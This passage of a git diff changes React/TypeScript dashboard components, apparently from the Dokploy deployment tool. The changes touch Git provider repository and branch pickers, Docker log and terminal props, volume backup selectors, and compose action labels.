defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -254,7 +256,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -270,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -308,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">
|
||||||
|
{repo.name}
|
||||||
|
</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -351,7 +358,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -366,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -394,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import {
|
import {
|
||||||
Ban,
|
Ban,
|
||||||
CheckCircle2,
|
CheckCircle2,
|
||||||
@@ -8,6 +7,7 @@ import {
|
|||||||
Terminal,
|
Terminal,
|
||||||
} from "lucide-react";
|
} from "lucide-react";
|
||||||
import { useRouter } from "next/router";
|
import { useRouter } from "next/router";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
|
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
|
||||||
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
|
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
|
||||||
@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
|
|||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
|
serviceId={applicationId}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
|
|||||||
@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
|
|||||||
interface Props {
|
interface Props {
|
||||||
appName: string;
|
appName: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
|
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
|
||||||
const [containerId, setContainerId] = useState<string | undefined>();
|
const [containerId, setContainerId] = useState<string | undefined>();
|
||||||
const [option, setOption] = useState<"swarm" | "native">("native");
|
const [option, setOption] = useState<"swarm" | "native">("native");
|
||||||
|
|
||||||
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
|
|||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
containerId={containerId || "select-a-container"}
|
containerId={containerId || "select-a-container"}
|
||||||
runType={option}
|
runType={option}
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import {
|
import {
|
||||||
ExternalLink,
|
ExternalLink,
|
||||||
FileText,
|
FileText,
|
||||||
@@ -9,6 +8,7 @@ import {
|
|||||||
RocketIcon,
|
RocketIcon,
|
||||||
Trash2,
|
Trash2,
|
||||||
} from "lucide-react";
|
} from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { GithubIcon } from "@/components/icons/data-tools-icons";
|
import { GithubIcon } from "@/components/icons/data-tools-icons";
|
||||||
import { DateTooltip } from "@/components/shared/date-tooltip";
|
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||||
|
|||||||
@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -507,11 +507,20 @@ export const HandleVolumeBackups = ({
|
|||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{mounts?.map((mount) => (
|
{mounts && mounts.length > 0 ? (
|
||||||
<SelectItem key={mount.Name} value={mount.Name || ""}>
|
mounts.map((mount) => (
|
||||||
|
<SelectItem
|
||||||
|
key={mount.Name}
|
||||||
|
value={mount.Name || ""}
|
||||||
|
>
|
||||||
{mount.Name}
|
{mount.Name}
|
||||||
</SelectItem>
|
</SelectItem>
|
||||||
))}
|
))
|
||||||
|
) : (
|
||||||
|
<SelectItem value="none" disabled>
|
||||||
|
No volumes found
|
||||||
|
</SelectItem>
|
||||||
|
)}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
|
|||||||
@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
|||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
import { AlertBlock } from "@/components/shared/alert-block";
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
import { CodeEditor } from "@/components/shared/code-editor";
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
Card,
|
Card,
|
||||||
@@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Card className="bg-background">
|
<Card className="bg-background">
|
||||||
<CardHeader>
|
<CardHeader>
|
||||||
<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
|
<CardTitle className="text-xl flex items-center gap-2">
|
||||||
|
Enable Isolated Deployment
|
||||||
|
<Badge variant="yellow">Deprecated</Badge>
|
||||||
|
</CardTitle>
|
||||||
<CardDescription>
|
<CardDescription>
|
||||||
Configure isolated deployment to the compose file.
|
Configure isolated deployment to the compose file.
|
||||||
<div className="text-sm text-muted-foreground flex flex-col gap-2">
|
<div className="text-sm text-muted-foreground flex flex-col gap-2">
|
||||||
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
|
|||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
<div className="space-y-4">
|
<div className="space-y-4">
|
||||||
|
<AlertBlock type="warning">
|
||||||
|
Isolated deployment is deprecated. Use the Networks section above to
|
||||||
|
attach networks per service and detach them from dokploy-network —
|
||||||
|
it is declarative and does not break on restarts.
|
||||||
|
</AlertBlock>
|
||||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
<Form {...form}>
|
<Form {...form}>
|
||||||
<form
|
<form
|
||||||
|
|||||||
@@ -55,12 +55,14 @@ interface Props {
|
|||||||
appName: string;
|
appName: string;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
appType: "stack" | "docker-compose";
|
appType: "stack" | "docker-compose";
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const ShowComposeContainers = ({
|
export const ShowComposeContainers = ({
|
||||||
appName,
|
appName,
|
||||||
appType,
|
appType,
|
||||||
serverId,
|
serverId,
|
||||||
|
serviceId,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const { data, isPending, refetch } =
|
const { data, isPending, refetch } =
|
||||||
api.docker.getContainersByAppNameMatch.useQuery(
|
api.docker.getContainersByAppNameMatch.useQuery(
|
||||||
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
|
|||||||
key={container.containerId}
|
key={container.containerId}
|
||||||
container={container}
|
container={container}
|
||||||
serverId={serverId}
|
serverId={serverId}
|
||||||
|
serviceId={serviceId}
|
||||||
onActionComplete={() => refetch()}
|
onActionComplete={() => refetch()}
|
||||||
/>
|
/>
|
||||||
))}
|
))}
|
||||||
@@ -142,12 +145,14 @@ interface ContainerRowProps {
|
|||||||
status: string;
|
status: string;
|
||||||
};
|
};
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
|
serviceId?: string;
|
||||||
onActionComplete: () => void;
|
onActionComplete: () => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
const ContainerRow = ({
|
const ContainerRow = ({
|
||||||
container,
|
container,
|
||||||
serverId,
|
serverId,
|
||||||
|
serviceId,
|
||||||
onActionComplete,
|
onActionComplete,
|
||||||
}: ContainerRowProps) => {
|
}: ContainerRowProps) => {
|
||||||
const [logsOpen, setLogsOpen] = useState(false);
|
const [logsOpen, setLogsOpen] = useState(false);
|
||||||
@@ -236,6 +241,7 @@ const ContainerRow = ({
|
|||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
containerId={container.containerId}
|
containerId={container.containerId}
|
||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
|
serviceId={serviceId}
|
||||||
>
|
>
|
||||||
Terminal
|
Terminal
|
||||||
</DockerTerminalModal>
|
</DockerTerminalModal>
|
||||||
@@ -280,6 +286,7 @@ const ContainerRow = ({
|
|||||||
containerId={container.containerId}
|
containerId={container.containerId}
|
||||||
serverId={serverId}
|
serverId={serverId}
|
||||||
runType="native"
|
runType="native"
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</DialogContent>
|
</DialogContent>
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
import { useRouter } from "next/router";
|
import { useRouter } from "next/router";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
|
|||||||
)}
|
)}
|
||||||
{canDeploy && (
|
{canDeploy && (
|
||||||
<DialogAction
|
<DialogAction
|
||||||
title="Reload Compose"
|
title="Rebuild Compose"
|
||||||
description="Are you sure you want to reload this compose?"
|
description="Are you sure you want to rebuild this compose?"
|
||||||
type="default"
|
type="default"
|
||||||
onClick={async () => {
|
onClick={async () => {
|
||||||
await redeploy({
|
await redeploy({
|
||||||
composeId: composeId,
|
composeId: composeId,
|
||||||
})
|
})
|
||||||
.then(() => {
|
.then(() => {
|
||||||
toast.success("Compose reloaded successfully");
|
toast.success("Compose rebuilt successfully");
|
||||||
refetch();
|
refetch();
|
||||||
})
|
})
|
||||||
.catch(() => {
|
.catch(() => {
|
||||||
toast.error("Error reloading compose");
|
toast.error("Error rebuilding compose");
|
||||||
});
|
});
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
|
|||||||
<TooltipTrigger asChild>
|
<TooltipTrigger asChild>
|
||||||
<div className="flex items-center">
|
<div className="flex items-center">
|
||||||
<RefreshCcw className="size-4 mr-1" />
|
<RefreshCcw className="size-4 mr-1" />
|
||||||
Reload
|
Rebuild
|
||||||
</div>
|
</div>
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipPrimitive.Portal>
|
<TooltipPrimitive.Portal>
|
||||||
<TooltipContent sideOffset={5} className="z-60">
|
<TooltipContent sideOffset={5} className="z-60">
|
||||||
<p>Reload the compose without rebuilding it</p>
|
<p>
|
||||||
|
Rebuilds the compose without downloading the source code
|
||||||
|
</p>
|
||||||
</TooltipContent>
|
</TooltipContent>
|
||||||
</TooltipPrimitive.Portal>
|
</TooltipPrimitive.Portal>
|
||||||
</Tooltip>
|
</Tooltip>
|
||||||
@@ -206,6 +208,7 @@ export const ComposeActions = ({ composeId }: Props) => {
|
|||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
appType={data?.composeType || "docker-compose"}
|
appType={data?.composeType || "docker-compose"}
|
||||||
|
serviceId={data?.composeId}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
|
|||||||
@@ -190,6 +190,9 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
<FormLabel>Bitbucket Account</FormLabel>
|
<FormLabel>Bitbucket Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -198,7 +201,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -247,7 +249,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -256,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
: isLoadingRepositories
|
: isLoadingRepositories
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo) => repo.name === field.value.repo,
|
(repo) =>
|
||||||
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner,
|
||||||
)?.name ?? "Select repository")}
|
)?.name ?? "Select repository")}
|
||||||
|
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -283,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
{repositories?.map((repo) => (
|
{repositories?.map((repo) => (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
value={repo.name}
|
value={`${repo.owner.username}/${repo.name}`}
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
@@ -294,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">{repo.name}</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -303,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -335,7 +343,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
" w-full justify-between bg-input!",
|
" w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -350,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branch..."
|
placeholder="Search branch..."
|
||||||
@@ -378,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", branch.name);
|
form.setValue("branch", branch.name);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{branch.name}
|
<span className="truncate">{branch.name}</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -188,6 +188,9 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
<FormLabel>Gitea Account</FormLabel>
|
<FormLabel>Gitea Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -195,7 +198,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -244,7 +246,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -253,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
: isLoadingRepositories
|
: isLoadingRepositories
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo) => repo.name === field.value.repo,
|
(repo) =>
|
||||||
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner,
|
||||||
)?.name ?? "Select repository")}
|
)?.name ?? "Select repository")}
|
||||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search repository..."
|
placeholder="Search repository..."
|
||||||
@@ -280,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
{repositories?.map((repo) => (
|
{repositories?.map((repo) => (
|
||||||
<CommandItem
|
<CommandItem
|
||||||
key={repo.url}
|
key={repo.url}
|
||||||
value={repo.name}
|
value={`${repo.owner.username}/${repo.name}`}
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: repo.owner.username,
|
owner: repo.owner.username,
|
||||||
@@ -289,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
<span>{repo.name}</span>
|
<span className="truncate">{repo.name}</span>
|
||||||
<span className="text-muted-foreground text-xs">
|
<span className="text-muted-foreground text-xs">
|
||||||
{repo.owner.username}
|
{repo.owner.username}
|
||||||
</span>
|
</span>
|
||||||
@@ -298,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
repo.name === field.value.repo
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.username === field.value.owner
|
||||||
? "opacity-100"
|
? "opacity-100"
|
||||||
: "opacity-0",
|
: "opacity-0",
|
||||||
)}
|
)}
|
||||||
@@ -331,7 +339,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -346,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
</Button>
|
</Button>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
</PopoverTrigger>
|
</PopoverTrigger>
|
||||||
<PopoverContent className="p-0" align="start">
|
<PopoverContent
|
||||||
|
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||||
|
align="start"
|
||||||
|
>
|
||||||
<Command>
|
<Command>
|
||||||
<CommandInput
|
<CommandInput
|
||||||
placeholder="Search branches..."
|
placeholder="Search branches..."
|
||||||
@@ -363,9 +374,11 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
|||||||
form.setValue("branch", branch.name)
|
form.setValue("branch", branch.name)
|
||||||
}
|
}
|
||||||
>
|
>
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex min-w-0 items-center gap-2">
|
||||||
|
<span className="truncate">
|
||||||
{branch.name}
|
{branch.name}
|
||||||
</span>
|
</span>
|
||||||
|
</span>
|
||||||
<CheckIcon
|
<CheckIcon
|
||||||
className={cn(
|
className={cn(
|
||||||
"ml-auto h-4 w-4",
|
"ml-auto h-4 w-4",
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
enableSubmodules: data.enableSubmodules ?? false,
|
enableSubmodules: data.enableSubmodules ?? false,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}, [form.reset, data?.composeId, form]);
|
}, [form.reset, data]);
|
||||||
|
|
||||||
const onSubmit = async (data: GithubProvider) => {
|
const onSubmit = async (data: GithubProvider) => {
|
||||||
await mutateAsync({
|
await mutateAsync({
|
||||||
@@ -179,6 +179,9 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
<FormLabel>Github Account</FormLabel>
|
<FormLabel>Github Account</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
|
if (!value) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
field.onChange(value);
|
field.onChange(value);
|
||||||
form.setValue("repository", {
|
form.setValue("repository", {
|
||||||
owner: "",
|
owner: "",
|
||||||
@@ -186,7 +189,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
});
|
});
|
||||||
form.setValue("branch", "");
|
form.setValue("branch", "");
|
||||||
}}
|
}}
|
||||||
defaultValue={field.value}
|
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -234,7 +236,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
className={cn(
|
className={cn(
|
||||||
"w-full justify-between bg-input!",
|
"w-full justify-between",
|
||||||
!field.value && "text-muted-foreground",
|
!field.value && "text-muted-foreground",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
@@ -243,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
|||||||
: isLoadingRepositories
|
: isLoadingRepositories
|
||||||
? "Loading...."
|
? "Loading...."
|
||||||
: (repositories?.find(
|
: (repositories?.find(
|
||||||
(repo) => repo.name === field.value.repo,
|
(repo) =>
|
||||||
)?.name ?? "Select repository")}
|
repo.name === field.value.repo &&
|
||||||
|
repo.owner.login === field.value.owner,
|
||||||
|
)?.name ?? field.value.repo)}
